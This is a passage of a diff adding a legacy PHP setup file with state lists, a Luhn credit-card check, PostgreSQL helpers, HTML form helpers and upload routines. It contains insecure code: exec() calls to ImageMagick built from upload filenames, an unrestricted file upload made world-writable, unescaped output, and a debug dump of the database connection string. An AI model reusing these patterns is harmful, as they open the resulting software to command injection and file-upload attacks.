+               $states_US["DE"]= "Delaware";
+               $states_US["DC"]= "District of Columbia";
+               $states_US["FL"]= "Florida";
+               $states_US["GA"]= "Georgia";
+               $states_US["HI"]= "Hawaii";
+               $states_US["ID"]= "Idaho";
+               $states_US["IL"]= "Illinois";
+               $states_US["IN"]= "Indiana";
+               $states_US["IA"]= "Iowa";
+               $states_US["KS"]= "Kansas";
+               $states_US["KY"]= "Kentucky";
+               $states_US["LA"]= "Louisiana";
+               $states_US["ME"]= "Maine";
+               $states_US["MD"]= "Maryland";
+               $states_US["MA"]= "Massachusetts";
+               $states_US["MI"]= "Michigan";
+               $states_US["MN"]= "Minnesota";
+               $states_US["MS"]= "Mississppi";
+               $states_US["MO"]= "Missouri";
+               $states_US["MT"]= "Montana";
+               $states_US["NE"]= "Nebraska";
+               $states_US["NV"]= "Nevada";
+               $states_US["NH"]= "New Hampshire";
+               $states_US["NJ"]= "New Jersey";
+               $states_US["NM"]= "New Mexico";
+               $states_US["NY"]= "New York";
+               $states_US["NC"]= "North Carolina";
+               $states_US["ND"]= "North Dakota";
+               $states_US["OH"]= "Ohio";
+               $states_US["OK"]= "Oklahoma";
+               $states_US["OR"]= "Oregon";
+               $states_US["PA"]= "Pennsylvania";
+               $states_US["RI"]= "Rhode Island";
+               $states_US["SC"]= "South Carolina";
+               $states_US["SD"]= "South Dakota";
+               $states_US["TN"]= "Tennessee";
+               $states_US["TX"]= "Texas";
+               $states_US["UT"]= "Utah";
+               $states_US["VT"]= "Vermont";
+               $states_US["VA"]= "Virginia";
+               $states_US["WA"]= "Washington";
+               $states_US["WV"]= "West Virginia";
+               $states_US["WI"]= "Wisconsin";
+               $states_US["WY"]= "Wyoming";
+
+               // [states] extended states array
+               $states["AL"]  = "Alabama";
+               $states["AK"] =  "Alaska";
+               $states["AB"] =  "Alberta";
+               $states["AS"] =  "American Samoa";
+               $states["AZ"] =  "Arizona";
+               $states["AR"] =  "Arkansas";
+               $states["BC"] =  "British Columbia";
+               $states["CA"] =  "California";
+               $states["CO"] =  "Colorado";
+               $states["CT"] =  "Connecticut";
+               $states["DE"] =  "Delaware";
+               $states["DC"] =  "District of Columbia";
+               $states["FM"] =  "Federated States of Micronesia";
+               $states["FL"] =  "Florida";
+               $states["GA"] =  "Georgia";
+               $states["GU"] =  "Guam";
+               $states["HI"] =  "Hawaii";
+               $states["ID"] =  "Idaho";
+               $states["IL"] =  "Illinois";
+               $states["IN"] =  "Indiana";
+               $states["IA"] =  "Iowa";
+               $states["KS"] =  "Kansas";
+               $states["KY"] =  "Kentucky";
+               $states["LA"] =  "Louisiana";
+               $states["ME"] =  "Maine";
+               $states["MB"] =  "Manitoba";
+               $states["MH"] =  "Marshall Islands";
+               $states["MD"] =  "Maryland";
+               $states["MA"] =  "Massachusetts";
+               $states["MI"] =  "Michigan";
+               $states["MN"] =  "Minnesota";
+               $states["MS"] =  "Mississppi";
+               $states["MO"] =  "Missouri";
+               $states["MT"] =  "Montana";
+               $states["NE"] =  "Nebraska";
+               $states["NV"] =  "Nevada";
+               $states["NB"] =  "New Brunswick";
+               $states["NF"] =  "Newfoundland";
+               $states["NH"] =  "New Hampshire";
+               $states["NJ"] =  "New Jersey";
+               $states["NM"] =  "New Mexico";
+               $states["NY"] =  "New York";
+               $states["NC"] =  "North Carolina";
+               $states["ND"] =  "North Dakota";
+               $states["MP"] =  "Northern Mariana Islands";
+               $states["NT"] =  "Northwest Territories";
+               $states["NS"] =  "Nova Scotia";
+               $states["OH"] =  "Ohio";
+               $states["OK"] =  "Oklahoma";
+               $states["ON"] =  "Ontario";
+               $states["OR"] =  "Oregon";
+               $states["PW"] =  "Palau";
+               $states["PA"] =  "Pennsylvania";
+               $states["PE"] =  "Prince Edward Island";
+               $states["PR"] =  "Puerto Rico";
+               $states["QC"] =  "Quebec";
+               $states["RI"] =  "Rhode Island";
+               $states["SK"] =  "Saskatchewan";
+               $states["SC"] =  "South Carolina";
+               $states["SD"] =  "South Dakota";
+               $states["TN"] =  "Tennessee";
+               $states["TX"] =  "Texas";
+               $states["UT"] =  "Utah";
+               $states["VT"] =  "Vermont";
+               $states["VI"] =  "Virgin Islands";
+               $states["VA"] =  "Virginia";
+               $states["WA"] =  "Washington";
+               $states["WV"] =  "West Virginia";
+               $states["WI"] =  "Wisconsin";
+               $states["WY"] =  "Wyoming";
+               $states["YT"] =  "Yukon";
+               $states["Asia"] =  "Asia";
+               $states["Australia"] =  "Australia";
+               $states["Bahamas"] =  "Bahamas"; 
+               $states["Caribbean"] =  "Caribbean";
+               $states["Costa Rica"] =  "Costa Rica";
+               $states["South America"] =  "South America";
+               $states["South Africa"] =  "South Africa";
+               $states["Europe"] =  "Europe";
+               $states["Mexico"] = "Mexico";
+               /* Libraries */
+               /* Replaced with the actual functions instead of includes (2001-12-14) */
+
+               
+
+               /**
+                * CreditVal : CreditVal Checks for a valid credit card number doing Luhn check, if no
+                card type is given, attempts to guess. Then, if a list of
+                accepted types is given, determines whether or not we'll
+                accept it
+                * @param $Num: Credit Card Number
+                * @param $Name = '': Type of Card
+                * @param $Accepted='' : Accepted array
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function CreditVal($Num, $Name = '', $Accepted='') 
+               { 
+                       $Name = strtolower( $Name );
+                       $Accepted = strtolower( $Accepted );
+                       $GoodCard = 1;
+                       $Num = ereg_replace("[^[:digit:]]", "", $Num); 
+                       switch ($Name) 
+                       { 
+
+                               case "mastercard" : 
+                                       $GoodCard = ereg("^5[1-5].{14}$", $Num); 
+                               break; 
+
+                               case "visa" : 
+                                       $GoodCard = ereg("^4.{15}$|^4.{12}$", $Num); 
+                               break; 
+
+                               case "americanexpress" : 
+                                       $GoodCard = ereg("^3[47].{13}$", $Num); 
+                               break; 
+
+                               case "discover" : 
+                                       $GoodCard = ereg("^6011.{12}$", $Num); 
+                               break; 
+
+                               case "dinerscard" : 
+                                       $GoodCard = ereg("^30[0-5].{11}$|^3[68].{12}$", $Num); 
+                               break;
+
+                               default:
+                               if( ereg("^5[1-5].{14}$", $Num) ) $Name = "mastercard";
+                               if( ereg("^4.{15}$|^4.{12}$", $Num) ) $Name = "visa";
+                               if( ereg("^3[47].{13}$", $Num) ) $Name = "americanexpress";
+                               if( ereg("^6011.{12}$", $Num) ) $Name = "discover";
+                               if( ereg("^30[0-5].{11}$|^3[68].{12}$", $Num) ) $Name="dinerscard";
+                               break;
+                       } 
+
+                       // If there's a limit on card types we accept, check for it here.
+                       if( $Accepted )
+                       {
+                               $type_verified = FALSE;
+                               $brands = explode_trim( ",", $Accepted );
+                               foreach( $brands as $brand )
+                                       if( $Name == $brand )
+                                               $type_verified = TRUE;
+
+                               if( !$type_verified ) return(FALSE);
+                       }
+
+                       $Num = strrev($Num); 
+
+                       $Total = 0; 
+
+                       for ($x=0; $x<strlen($Num); $x++) 
+                       { 
+                               $digit = substr($Num,$x,1); 
+                               if ($x/2 != floor($x/2)) 
+                               { 
+                                       $digit *= 2; 
+                                       if (strlen($digit) == 2)  
+                                               $digit = substr($digit,0,1) + substr($digit,1,1); 
+                               } 
+                               $Total += $digit; 
+                       } 
+                       if ($GoodCard && $Total % 10 == 0) 
+                       {
+                               return(true); 
+                       }
+                       else 
+                       {
+                               return(false); 
+                       }
+               }
+               /* DataBase Library */
+
+               /**
+                * db_connect :Creates a connection to database specified $conn_str
+                * @param $conn="" : connection string
+                * 
+                * @return index or bool 
+                * @access 
+                **/
+               function db_connect($conn="") 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn = CONN_STR;
+                               $ret = pg_connect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_close :Closes the connection to database specified by the handle dbd      
+                * @param $$dbd : database handle 
+                * 
+                * @return bool 
+                * @access 
+                **/
+               function db_close($dbd) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_close($dbd);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                       NOTICE DON'T USE THIS
+                * db_pconnect :Creates a persistant connection to database specified in $conn_str
+                * @param $$conn="" : connection string 
+                * 
+                * @return 
+                * @access 
+                **/
+               function db_pconnect($conn="") 
+               {
+                       return( false );
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       if($conn == "")
+                                               $conn == CONN_STR;
+                               $ret = pg_pconnect($conn);
+                               break;
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_exec : Execute an SQL query
+                * @param $dbd: database handle 
+                * @param $$qs : Query
+                * 
+                * @return int Returns a valid result index on success 0 on failure
+                * @access 
+                **/
+               function db_exec($dbd, $qs) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_exec($dbd, $qs);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_fetch_array :Stores the data in associative indices, using the field names as     
+                * keys.
+                * @param $res: valid database result index
+                * @param $i: row number
+                * @param $$type : database type 
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_fetch_array($res, $i, $type) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $row = pg_fetch_array($res, $i, $type);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($row);
+               }
+
+               /**
+                * db_freeresult :Free result memory.
+                * @param $$res : valid database result index
+                * 
+                * @return bool - Returns 1 for success 0 for failure
+                * @access 
+                **/
+               function db_freeresult($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_freeresult($res);
+                               break;
+
+                               default:
+                               return(0);
+                       }
+
+                       return($ret);
+               }
+
+               /**
+                * db_numrows :Determine number of rows in a result index
+                * @param $$res : valid database result index
+                * 
+                * @return int - Returns number of rows
+                * @access 
+                **/
+               function db_numrows($res) 
+               {
+
+                       switch (DB_TYPE) 
+                       {
+                               case "postgres":
+                                       $ret = pg_numrows($res);
+                               break;
+
+                               default:
+                               return(-1);
+                       }
+
+                       return($ret);
+               }
+
+               /************************************************************************
+                *                                                                                                                                              *
+                * BEGIN Auto functions                                                                                                 *
+                *                                                                                                                                              *
+                ***********************************************************************/
+
+               /**
+                * db_auto_array :The auto function for retrieving an array based soley on a query      
+                * string. This function makes the connection, does the exec, fetches   
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns the array
+                * @param $qs: SQL query string
+                * @param $i: row number
+                * @param $$type : PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+                * 
+                * @return array - Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_array($qs, $i, $type) 
+               {
+
+                       $dbd = db_connect();
+                       if(!$dbd)
+                       {
+                               return(0);
+                       }
+                       $res = db_exec($dbd, $qs);
+                       if(!$res)
+                       {
+                               return(0);
+                       }
+
+                       $row = db_fetch_array($res, $i, $type);
+
+                       if(!db_freeresult($res))
+                       {
+                               return(0);
+                       }
+
+                       db_close($dbd);
+                       return($row);
+               }
+
+               /**
+                * db_auto_exec :The auto function for executing a query.                               
+                * This function makes the connection, does the exec, fetches           
+                * the array, closes the connection, frees memory used by the result,   
+                * and then returns success (not a valid result index)
+                * @param $qs: SQL query string
+                * @param $$conn="" : Connect String
+                * 
+                * @return int - Returns 1 (or oid, if available) for success 0 for failure
+                * @access 
+                **/
+               function db_auto_exec($qs, $conn="") 
+               {
+
+                       if($conn == "")
+                               $conn = CONN_STR;
+                       $dbd = db_connect($conn);
+                       if(!$dbd)
+                               return(0);
+                       if(!db_exec($dbd, $qs)) 
+                       {
+                               db_close($dbd);
+                               return(0);
+                       }
+                       else 
+                       {
+                               db_close($dbd);
+                               return(1);
+                       }
+               }
+
+               /**
+                * db_auto_get_data :The auto function for retrieving an array based soley on a query   
+                string. This function makes the connection, does the exec, fetches     
+                the array, closes the connection, frees memory used by the result,     
+                and then returns the array
+                * @param $qs:  SQL query string
+                * @param $CONN_STR: Connect String
+                * @param $$fail_mode=0 : Failure Mode
+                * 
+                * @return array Returns an associative array of key-value pairs
+                * @access 
+                **/
+               function db_auto_get_data($qs,$conn = CONN_STR,$fail_mode=0) 
+               {
+
+                       if( !($dbd = db_connect($conn)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       if( !($res = db_exec($dbd, $qs)) )
+                       {
+                               return( FALSE );
+                       }
+
+                       $totalrows = pg_NumRows($res);
+
+                       for( $i = 0 ; $i < $totalrows ; $i++ )
+                       {
+                               $data[$i] = db_fetch_array($res, $i, PGSQL_ASSOC );
+                       }
+
+                       db_close( $dbd );
+                       if(isset($data) && $data!="")   
+                       {
+                               return( $data );
+                       }
+                       else
+                       {
+                               return(0);
+                       }
+               }
+
+               /* HTML Libraries */
+
+               /**
+                * html_footer :Generates a footer table on the bottom of the page it's called on.      
+                and closes out the body and html tags.
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_footer() 
+               {
+                       $footer_table_width = "400";
+                       $footer_table_align = "center";
+
+                       ?>
+                               <hr>
+                               <table width="<?echo $footer_table_width?>" align="<?echo $footer_table_align?>" summary="Footer Information" class="footertable" cellspacing="0">
+                               <tr>
+                               <td align="left" class="footertd">
+                               <a href="mailto:<?echo MASTER_EMAIL?>"><?echo MASTER?></a>
+                               </td>
+                               <td align="right" class="footertd">
+                               <a href="<?echo FOOTER_URL?>" target="new">
+                               <img src="<?echo FOOTER_IMG?>" border=0 alt="FOOTER_IMG"></a>
+                               </td>
+                               </tr>
+                               </table>
+                               </body>
+                               </html>
+                               <?
+                               exit(); /* we've got to terminate any more output */
+               }
+
+               /**
+                * html_error :Generates a footer table on the bottom of the page it's called on.       
+                and closes out the body and html tags.
+                * @param $msg: string error message to be displayed
+                * @param $$bail : bool whether or not to exit() after $msg
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_error($msg, $bail) 
+               {
+                       ?>
+                               <table summary="Error Information" class="errortable" cellspacing="0">
+                               <tr class="errortr">
+                               <td class="errortd">
+                               <div class="errormsg"><?echo "<pre>$msg</pre>"?></div>
+                               </td>
+                               </tr>
+                               </table>
+
+                               <?
+                               if($bail)
+                               {
+                                       html_footer();
+                               }
+               }
+
+               /**
+                * html_nav_table :Generates a navigation table on the page it's called on.
+                * @param $nav: associative array with entries like:$nav[text][url]
+                * @param $$w : max width of table
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_nav_table($nav, $w) 
+               {
+                       if( is_array( $nav ) )
+                       {
+                               $out = '<ul class="admin_nav">';
+                               foreach( $nav as $link => $url )
+                               {
+                                       $out .= '<li><a href="'.$url.'">'.$link.'</a></li>';
+                               }
+                               $out .= '</ul>';
+                       }
+                       echo $out;
+               }
+
+               /**
+                * html_header :Opens up the html tags, and includes the style sheet link                       
+                generates a header table on the top of the page it's called on.
+                * @param $title: Page Title 
+                * @param $msg: message to display 
+                * @param $$img : image to display
+                * 
+                * @return void 
+                * @access 
+                **/
+               function html_header($title, $msg, $img) 
+               {
+                       $header_table_width = "400";
+                       $header_table_align = "center";
+
+                       ?>
+                               <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
+                               "http://www.w3.org/TR/html4/loose.dtd">
+                               <html>
+                               <head>
+                               <title><?echo $title?></title>
+                               <link type="text/css" rel=stylesheet href="<?echo STYLE?>">
+                               </head>
+                               <body>
+                               <table width="<?echo $header_table_width?>" align="<?echo $header_table_align?>" summary="Header Information" class="headertable" cellspacing="0" cellpadding="3">
+                               <tr class="headertr">
+                               <td class="headertd">
+                               <?
+                               if($img) 
+                               {
+                                       ?>
+                                               <img src="<?echo IMG_BASE.$img?>" alt="<?echo HEAD?>" border="0">
+                                               <?
+                               }
+                       ?>
+                               </td>
+                               </tr>
+                               <tr>
+                               <td class="headertd2" align="center">
+                               <div class="headerh2" align="center"><?echo "$msg"?></div>
+                               </td>
+                               </tr>
+                               </table>
+                               <?
+               }
+
+               /**
+                * form_header :Opens up the form tag, and includes the hidden assoc array as hidden    
+                fields.
+                * @param $action: string form action string
+                * @param $method: string Method of form
+                * @param $$hidden = "" : assoc array with $hidden($name => $value)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_header($action, $method, $hidden = "") 
+               {
+                       echo "<form action=\"$action\" method=\"$method\" 
+                               enctype=\"multipart/form-data\">";
+                       if($hidden != "" && is_array($hidden)) 
+                       {               
+                               foreach($hidden as $key=>$value) 
+                               {
+                                       echo "<input type=\"hidden\" name=\"$key\" value=\"$value\">";
+                               }
+                       }
+               }
+
+               /**
+                * text_area :Creates textarea with good default values for rows cols and wrap.
+                * @param $name: string form action string
+                * @param $value: string Method of form
+                * @param $$rows = 15: int4 number of rows in textarea box
+                * @param $$cols = 50: int4 number of cols in textarea box
+                * @param $$wrap = "virtual"  : string the wrap value for the textarea box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_area($name, $value, $rows = 15, $cols = 50, $wrap = "virtual" ) 
+               {
+                       echo "<td class=\"navtd2\"><textarea id=\"$name\" name=\"$name\" cols=\"$cols\" 
+                               rows=\"$rows\" wrap=\"$wrap\" maxlength=\"8104\">$value</textarea></td>";
+               }
+
+               /**
+                * text_box :Creates a input box for text with 35 as default size
+                * @param $name: string name of text box
+                * @param $value: string value of text box
+                * @param $$size = 35 : string size of text box
+                * 
+                * @return void 
+                * @access 
+                **/
+               function text_box($name, $value, $size = 35) 
+               {
+                       echo "<td class=\"navtd2\"><input type=\"text\" name=\"$name\" 
+                               value=\"".htmlspecialchars($value)."\" size=\"$size\"></td>";
+               }
+
+               /**
+                * form_footer :Closes up the form tag, and includes the submit button
+                * @param $name: string form action string
+                * @param $$suppress = 0: string Method of form
+                * @param $$cs : int colspan for td 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function form_footer($name, $suppress = 0, $cs) 
+               {
+                       echo "<tr><td colspan=\"$cs\" align=center>
+                               <input type=\"SUBMIT\" name=\"Command\" value=\"$name\">";
+                       if($suppress == 1) 
+                       {
+                               echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Delete\">";
+                       }
+                       /*              echo "<input type=\"SUBMIT\" name=\"Command\" value=\"Cancel\">";*/
+                       echo "</td>";
+               }
+
+               /* Graphics Libraries */
+
+               /**
+                * process_image :Main function for image processing                                    
+                * NOTES:                                                               
+                * This function does the following:                       
+                *
+                * 1) places image into original folder                    
+                *
+                * 2) makes three images from original size and places them
+                * into the RESIZED, MIDSIZED, and THUMB folders
+                * @param $image: The variable of the image being post from the form
+                * @param $$image_name : The variable_name of the image being post
+                * 
+                * @return string - Returns $image_name
+                * @access 
+                **/
+               function process_image ($image,$image_name) 
+               {
+                       /*      LOOK for these as defined in the top of this page
+                               $ITEM_ORIGINAL = "'600>' -quality 60";
+                               $ITEM_RESIZED = "'287>' -quality 60";
+                               $ITEM_MIDSIZED = "'210>' -quality 60";
+                               $ITEM_THUMB = "'120>' -quality 50";
+                        */
+                       if(!defined("ORIGINAL_PATH")) 
+                       {
+                               html_error("this not defined original_path",1);
+                       }
+                       if(!defined("RESIZED_PATH")) 
+                       {
+                               html_error("this not defined resized_path",1);
+                       }
+                       if(!defined("MIDSIZED_PATH")) 
+                       {
+                               html_error("this not defined midsized_path",1);
+                       }
+                       if(!defined("THUMB_PATH")) 
+                       {
+                               html_error("this not defined thumb_path",1);
+                       }
+                       $image_upload_array = img_upload($image,$image_name,ORIGINAL_PATH);
+                       //img_resize($image_upload_array[1],ORIGINAL_PATH.$image_upload_array[0],ITEM_ORIGINAL);
+                       img_resize(ORIGINAL_PATH.$image_upload_array[0],RESIZED_PATH.$image_upload_array[0],ITEM_RESIZED);
+                       img_resize(RESIZED_PATH.$image_upload_array[0],MIDSIZED_PATH.$image_upload_array[0],ITEM_MIDSIZED);
+                       img_resize(MIDSIZED_PATH.$image_upload_array[0],THUMB_PATH.$image_upload_array[0],ITEM_THUMB);
+                       $image_name = $image_upload_array[0];
+                       return($image_name);
+               }
+
+               /**
+                * img_resize :Resizes an image based on a full scale jpeg or gif
+                * @param $image: path to image which needs to be resized
+                * @param $thumb: path where resized image will live
+                * @param $$size : using axis size of new image
+                * 
+                * @return array $img_resize_array 
+                * @access 
+                **/
+               function img_resize($path2image,$path2thumb,$size) 
+               {
+                       exec( "type convert", $output, $return );
+                       if( $return == 0 )
+                       {
+                               $command = substr( $output[0],11);//
+                               $pos = strpos($command,"convert");
+                               $Path2GraphicsTools = substr( $command, 0, $pos - 1 );
+                       }
+                       else
+                       {
+                               $Path2GraphicsTools = "/usr/X11R6/bin";
+                       }
+                       $imageName = basename($path2image);
+                       $thumbName = basename($path2thumb);
+
+                       exec("$Path2GraphicsTools/convert -quality 100 -scale $size $path2image $path2thumb");
+
+                       $img_resize_array = array("$imageName","$path2image","$thumbName","$path2thumb");
+                       return($img_resize_array);
+               }
+
+               /**
+                * img_upload :Function moves the image to the destination directory 
+                Checking to make sure that it does not have same named file in dicectory.                      
+                Image must be either jpg ,png or gif format file to be uploaded.
+                * @param $form_field: $form_field of image
+                * @param $img_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
+                * @return array $img_upload_array
+                * @access 
+                **/
+               function img_upload($form_field,$img_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$img_name)) 
+                       {
+                               $img_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","-",$img_name);
+                       }
+
+                       $size = getImageSize($form_field);
+
+                       if( $size[2] == 1 || $size[2] == 2 || $size[2] == 3 ) 
+                       {
+                               $i = "0";
+                               $d = dir($destination_path);
+                               $img_name_in_use = "FALSE";
+                               while($entry=$d->read()) 
+                               {
+                                       if ($entry == $img_name) 
+                                       {
+                                               $img_name_in_use = "TRUE";
+                                       }
+                                       ++$i;
+                               }
+                               $d->close();
+
+                               if ($img_name_in_use == "TRUE") 
+                               {
+                                       $new_img_name = mktime().$img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                               else 
+                               {
+                                       $new_img_name = $img_name;
+                                       $new_img_location = $destination_path.'/'.$new_img_name;
+
+                                       copy($form_field,$new_img_location);
+
+                                       chmod($new_img_location, 0666);
+
+                                       $img_upload_array = array("$new_img_name","$new_img_location");
+                               }
+                       }
+                       else 
+                       {
+                               echo '<p style="background-color:red;color:white;">'
+                                       .'The file you uploaded was of an incorect type, please only upload .gif,.png or .jpg files'
+                                       .'<BR CLEAR=ALL>'
+                                       .'</p>'
+                                       ."Hit your browser's back button to continue"
+                                       .'<P>';
+                               $error[0] = "ERROR";
+                               return($error);
+                       }
+
+                       return($img_upload_array);
+               }
+
+               /**
+                * file_upload :Uploads a file same way as image_uploads does
+                * @param $form_field: $form_field of image
+                * @param $file_name: $form_field of image with _name
+                * @param $$destination_path : path to store uploaded image
+                * 
+                * @return string $file_upload
+                * @access 
+                **/
+               function file_upload($form_field,$file_name,$destination_path) 
+               {
+                       if (ereg("[!@#$%^&()+={};:\'\" ]",$file_name)) 
+                       {
+                               $file_name = ereg_replace("[!@#$%^&()+={};:\'\" ]","_",$file_name);
+                       }
+
+                       $i = "0";
+                       $d = dir($destination_path);
+                       $file_name_in_use = "FALSE";
+                       while($entry=$d->read()) 
+                       {
+                               if ($entry == $file_name) 
+                               {
+                                       $file_name_in_use = "TRUE";
+                               }
+                               ++$i;
+                       }
+                       $d->close();
+
+                       if ($file_name_in_use == "TRUE") 
+                       {
+                               $new_file_name = mktime().$file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       else 
+                       {
+                               $new_file_name = $file_name;
+                               $new_file_location = $destination_path.'/'.$new_file_name;
+
+                               copy($form_field,$new_file_location);
+
+                               chmod($new_file_location, 0666);
+
+                               $file_upload = $new_file_name;
+                       }
+                       return($file_upload);
+               }
+
+               /* Misc. Functions */
+
+               /**
+                * http_strip :Strips the http:// part from start of string
+                * @param $&$string : $string
+                * 
+                * @return string $stirng minus http:// in front
+                * @access 
+                **/
+               function http_strip(&$string) 
+               {
+                       $test_string = strtolower($string);
+                       if(substr($test_string,0,7) == "http://") 
+                       {
+                               $string = substr($string,7);
+                       }
+               }
+
+               /**
+                * footer : used for admin page footer to close out the top function 
+                * 
+                * @return void 
+                * @access 
+                **/
+               function footer() 
+               {
+                       $out = '
+                               </body>
+                               </html>
+                               ';      
+                       echo $out;
+               }
+
+               /**
+                * top :Output the starting html and admin table tags
+                * @param $message: The title
+                * @param $hp: The help file to use
+                * @param $$hp2 = NULL : The help file to use (links to gaslightmedia.com)
+                * 
+                * @return void 
+                * @access 
+                **/
+               function top($message, $hp,$hp2 = NULL) 
+               {
+$out = '
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Untitled</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="../main.css">
+<script type="text/javascript" src="event.js"></script>
+  </head>
+<body>
+       <h1>'.$message.'</h1>   
+               ';
+                       echo $out;
+               }
+
+               /**
+                * top2 : alias to top()
+                * @param $message: message title 
+                * @param $hp: help file 
+                * @param $$hp2 = NULL : gaslight help file
+                * 
+                * @return 
+                * @access 
+                **/
+               function top2($message, $hp,$hp2 = NULL) 
+               {
+                       // make this an alias to top()
+                       // by calling top instead of adding extra code
+                       top($message,$hp,$hp2);
+
+               }
+
+               /********************************************************************************
+                *
+                *      DO NOT EDIT THIS SECTION
+                *
+                ********************************************************************************/
+
+               if( $DEBUG )
+               {
+                       echo '<CENTER>
+                               <TABLE BORDER=0 CELLPADDING=3 CELLSPACING=1 WIDTH=600 BGCOLOR="#000000" ALIGN="CENTER">
+                               <TR VALIGN="middle" BGCOLOR="#9999CC">
+                               <TD COLSPAN="2" ALIGN="center"><H1>Portable Site Data - setup.phtml </H1></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CVS Version Id:</B></TD>
+                               <TD ALIGN="left">$Id: setup.phtml,v 1.5 2013/02/28 20:20:44 jmeek Exp $</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>SITENAME</B></TD>
+                               <TD ALIGN="left">'.SITENAME.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>BASE</B></TD>
+                               <TD ALIGN="left">'.BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>UP_BASE</B></TD>
+                               <TD ALIGN="left">'.UP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>HELP_BASE</B></TD>
+                               <TD ALIGN="left">'.HELP_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>IMG_BASE</B></TD>
+                               <TD ALIGN="left">'.IMG_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>URL_BASE</B></TD>
+                               <TD ALIGN="left">'.URL_BASE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>CONN_STR</B></TD>
+                               <TD ALIGN="left">'.CONN_STR.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>STYLE</B></TD>
+                               <TD ALIGN="left">'.STYLE.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL_PATH</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.RESIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED_PATH</B></TD>
+                               <TD ALIGN="left">'.MIDSIZED_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB_PATH</B></TD>
+                               <TD ALIGN="left">'.THUMB_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>ORIGINAL</B></TD>
+                               <TD ALIGN="left">'.ORIGINAL.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>RESIZED</B></TD>
+                               <TD ALIGN="left">'.RESIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>MIDSIZED</B></TD>
